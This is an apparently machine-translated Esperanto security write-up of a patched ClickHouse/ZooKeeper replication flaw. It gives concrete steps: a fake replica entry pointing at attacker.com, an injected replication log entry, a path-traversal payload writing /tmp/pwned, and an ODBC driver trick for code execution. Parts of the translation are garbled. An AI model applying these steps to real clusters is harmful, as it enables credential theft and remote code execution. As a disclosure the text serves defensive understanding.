Ĉi tiu artikolo rakontos pri tre specifa vundebleco en la protokolo de reproduktado de ClickHouse, kaj ankaŭ montros kiel la ataksurfaco povas esti vastigita.
ClickHouse estas datumbazo por stoki grandajn volumojn da datumoj, plej ofte uzante pli ol unu kopion. Clustering kaj reproduktado en ClickHouse estas konstruitaj supre
La defaŭlta instalado de ZK ne postulas aŭtentikigon, do miloj da ZK-serviloj uzataj por agordi Kafka, Hadoop, ClickHouse estas publike haveblaj.
Por redukti vian ataksurfacon, vi ĉiam devas agordi aŭtentikigon kaj rajtigon kiam vi instalas ZooKeeper
Kompreneble ekzistas kelkaj 0tagaj Java deseriigoj, sed imagu, ke atakanto povus legi kaj skribi al ZooKeeper, uzata por la reproduktado de ClickHouse.
Kiam agordita en clusterreĝimo, ClickHouse subtenas distribuitajn demandojn /clickhouse/task_queue/ddl
.
Ekzemple, vi kreas nodon /clickhouse/task_queue/ddl/query-0001
kun enhavo:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
kaj post tio, la testa tablo estos forigita sur la grapolserviloj host1 kaj host2. DDL ankaŭ subtenas ruli CREATE/ALTER/DROP-demandojn.
Sonas timiga? Sed kie atakanto povas akiri serviladresojn?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
nodoj estos kreitaj kolumnoj и metadatenoj.
Enhavo /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ĉu eblas kunfandi datumojn de ĉi tiu aro? Jes, se la reprodukta haveno (TCP/9009
) sur servilo chXX-address
la fajroŝirmilo ne estos fermita kaj aŭtentigo por reproduktado ne estos agordita. Kiel preteriri aŭtentikigon?
Atakanto povas krei novan kopion en ZK simple kopiante la enhavon de /clickhouse/tables/01-01/foobar/replicas/chXX
kaj ŝanĝante la signifon host
.
Enhavo /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Tiam vi devas diri al la aliaj kopioj, ke estas nova bloko da datumoj sur la servilo de la atakanto, kiun ili devas preni - nodo estas kreita en ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotone kreskanta nombrilo, kiu devus esti pli granda ol la lasta en la evento-protokolo):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
kie fonto_repliko - la nomo de la kopio de la atakanto kreita en la antaŭa paŝo, bloko_id - identigilo de datumbloko, akiri - komando "akiri blokon" (kaj
Poste, ĉiu kopio legas novan okazaĵon en la protokolo kaj iras al servilo kontrolita de la atakanto por ricevi blokon de datumoj (la reprodukta protokolo estas binara, funkcianta super HTTP). Servilo attacker.com
ricevos petojn:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
kie XXX estas la aŭtentikigdatenoj por reproduktado. En iuj kazoj, ĉi tio povas esti konto kun aliro al la datumbazo per la ĉefa ClickHouse-protokolo kaj la HTTP-protokolo. Kiel vi vidis, la ataksurfaco fariĝas kritike granda ĉar ZooKeeper, uzata por reproduktado, restis sen aŭtentikigo agordita.
Ni rigardu la funkcion akiri blokon de datumoj de kopio, ĝi estas skribita kun plena fido, ke ĉiuj kopioj estas sub taŭga kontrolo kaj estas fido inter ili.
replika pretigkodo
La funkcio legas liston de dosieroj, poste iliajn nomojn, grandecojn, enhavojn, kaj poste skribas ilin al la dosiersistemo. Indas aparte priskribi kiel datumoj estas konservitaj en la dosiersistemo.
Estas pluraj subdosierujoj en /var/lib/clickhouse
(defaŭlta stoka dosierujo de la agorda dosiero):
flagoj - dosierujo por registrado
tmp — dosierujo por konservi provizorajn dosierojn;
uzanto_dosieroj — operacioj kun dosieroj en petoj estas limigitaj al ĉi tiu dosierujo (INTO OUTFILE kaj aliaj);
metadatenoj — sql-dosieroj kun tabelaj priskriboj;
antaŭprocesitaj_agordoj - prilaboritaj derivitaj agordaj dosieroj de /etc/clickhouse-server
;
datumoj - la efektiva dosierujo kun la datumoj mem, ĉi-kaze por ĉiu datumbazo estas simple kreita ĉi tie aparta subdosierujo (ekzemple /var/lib/clickhouse/data/default
).
Por ĉiu tabelo, subdosierujo estas kreita en la datumbaza dosierujo. Ĉiu kolumno estas aparta dosiero depende de
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
La kopio atendas ricevi dosierojn kun la samaj nomoj dum prilaborado de bloko de datumoj kaj neniel validas ilin.
La atentema leganto verŝajne jam aŭdis pri la nesekura kunmetiĝo de dosiernomo en funkcio WriteBufferFromFile
. Jes, ĉi tio permesas al atakanto skribi arbitran enhavon al iu ajn dosiero sur la FS kun uzantrajtoj clickhouse
. Por fari tion, la kopio kontrolita de la atakanto devas resendi la sekvan respondon al la peto (liniorompoj estis aldonitaj por facileco de kompreno):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
kaj post kunligado ../../../../../../../../../tmp/pwned
la dosiero estos skribita /tmp/pwned kun enhavo saluton de zookeeper.
Estas pluraj ebloj por igi dosieron skribkapablon en fora koda ekzekuto (RCE).
Eksteraj vortaroj en RCE
En pli malnovaj versioj, la dosierujo kun agordoj de ClickHouse estis konservita kun uzantrajtoj klakdomo defaŭlte. Agordaj dosieroj estas XML-dosieroj, kiujn la servo legas ĉe ekfunkciigo kaj poste konservas en kaŝmemoron /var/lib/clickhouse/preprocessed_configs
. Kiam okazas ŝanĝoj, ili estas relegitaj. Se vi havas aliron al /etc/clickhouse-server
atakanto povas krei sian propran root
.
ODBC al RCE
Instalante pakaĵon, uzanto estas kreita clickhouse
, sed ĝia hejma dosierujo ne estas kreita /nonexistent
. Tamen, kiam oni uzas eksterajn vortarojn, aŭ pro aliaj kialoj, administrantoj kreas dosierujon /nonexistent
kaj donu al la uzanto clickhouse
aliro por skribi al ĝi (SSZB! ĉ. tradukisto).
ClickHouse subtenas odbc-bridge
, do ne plu eblas specifi la ŝoforan vojon el la peto. Sed ĉu atakanto povas skribi al la hejma dosierujo uzante la vundeblecon priskribitan supre?
Ni kreu dosieron ~/.odbc.ini
kun enhavo tia:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
tiam dum ekfunkciigo SELECT * FROM odbc('DSN=lalala', 'test', 'test');
la biblioteko estos ŝargita test.so
kaj ricevis RCE (dankon
Ĉi tiuj kaj aliaj vundeblecoj estis riparitaj en ClickHouse-versio 19.14.3. Prizorgu viajn ClickHouse kaj ZooKeepers!
fonto: www.habr.com